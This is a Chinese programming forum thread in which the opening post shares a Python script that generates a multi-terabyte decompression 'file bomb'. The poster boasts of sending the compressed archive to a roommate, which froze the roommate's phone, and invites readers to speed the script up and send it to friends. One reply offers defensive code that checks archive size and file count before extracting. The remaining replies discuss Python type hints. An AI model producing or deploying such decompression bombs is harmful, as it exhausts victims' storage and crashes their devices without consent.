鱼C论坛

 找回密码
 立即注册
查看: 2441|回复: 10

[作品展示] 用python写了个文件炸弹

[复制链接]
发表于 2022-6-12 17:55:43 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
  1. import os
  2. def make_boom(file_path,file_num,string_len):
  3.     if not os.path.exists(file_path):
  4.         os.mkdir(file_path)
  5.     os.chdir(file_path)
  6.     for i in range(file_num):
  7.         with open('boom%d.txt'%i,'w',encoding='utf-8') as f:
  8.             f.write('Boom'*string_len)

  9. make_boom('zip_boom',10000,10000*10000)
复制代码


很简单的一段代码,运行速度太慢了,按我设置的这个参数运行的话估计得运行一个半小时,运行后生成的文件大小在3.6TB左右,压缩后估计几百MB,我用这段代码运行了十分钟,生成了一个276GB的文件夹,压缩后只有14MB,压缩后发给我一个憨逼舍友,成功把他手机整死机了,我不会增加线程,有会的可以改一下发给朋友
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2022-6-12 19:21:57 From FishC Mobile | 显示全部楼层
有你这样的朋友,可是倒了血霉
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 08:53:31 | 显示全部楼层
wp231957 发表于 2022-6-12 19:21
有你这样的朋友,可是倒了血霉

那不怪我,我群里都说了,他还瞎解压
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 09:53:48 | 显示全部楼层
我记得有个什么文件炸弹压缩后只有几KB的  解压以后也是几TB的
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 10:20:38 | 显示全部楼层
骚年¥学编程 发表于 2022-6-13 09:53
我记得有个什么文件炸弹压缩后只有几KB的  解压以后也是几TB的

那种压缩炸弹和我这种原理不同吧
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 11:40:23 | 显示全部楼层
  1. import zipfile
  2. import os

  3. def unzip(filename: str):
  4.     # 限制最大文件数100
  5.     max_file_num = 100
  6.     # 设置解压内容最大值(一般平均最大的压缩率20,再高就很可能是异常文件了!)
  7.     max_file_size = 1024 * 1024 * 100 * 20
  8.     total_size = 0
  9.     to_zip_file = zipfile.ZipFile(filename)
  10.     dirname = filename.replace('.zip', '')
  11.     # 校验文件总数量
  12.     if len(to_zip_file.filelist) > max_file_num:
  13.         raise ValueError("压缩文件的数量超过了上限")
  14.     # 校验解压文件内容最大值
  15.     for file in to_zip_file.filelist:
  16.         total_size += file.file_size
  17.         if total_size > max_file_size:
  18.             raise IOError("压缩包内容异常")
  19.     # 判断文件夹重复则退出
  20.     if os.path.exists(dirname):
  21.         print(f'{dirname} dir has already existed')
  22.         return -1
  23.     else:
  24.         # 创建文件夹,并解压
  25.         os.mkdir(dirname)
  26.         to_zip_file.extractall(dirname)
  27.         to_zip_file.close()

  28. unzip('zip_boom.zip')
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 13:40:25 | 显示全部楼层

我不了解zipfile模块,不敢随便运行
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 13:43:21 | 显示全部楼层

第四行那里  filename: str  是什么意思
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 14:24:55 | 显示全部楼层
小丑9 发表于 2022-6-13 13:43
第四行那里  filename: str  是什么意思

def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字
filename:str  形参名字  指定参数类型为字符型
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 14:27:43 | 显示全部楼层
骚年¥学编程 发表于 2022-6-13 14:24
def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字

指定参数类型为字符型是将传入的实参转化成字符串吗?
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 15:02:09 | 显示全部楼层
小丑9 发表于 2022-6-13 14:27
指定参数类型为字符型是将传入的实参转化成字符串吗?

是只能传入字符串类型的数值
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-7-12 17:53

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表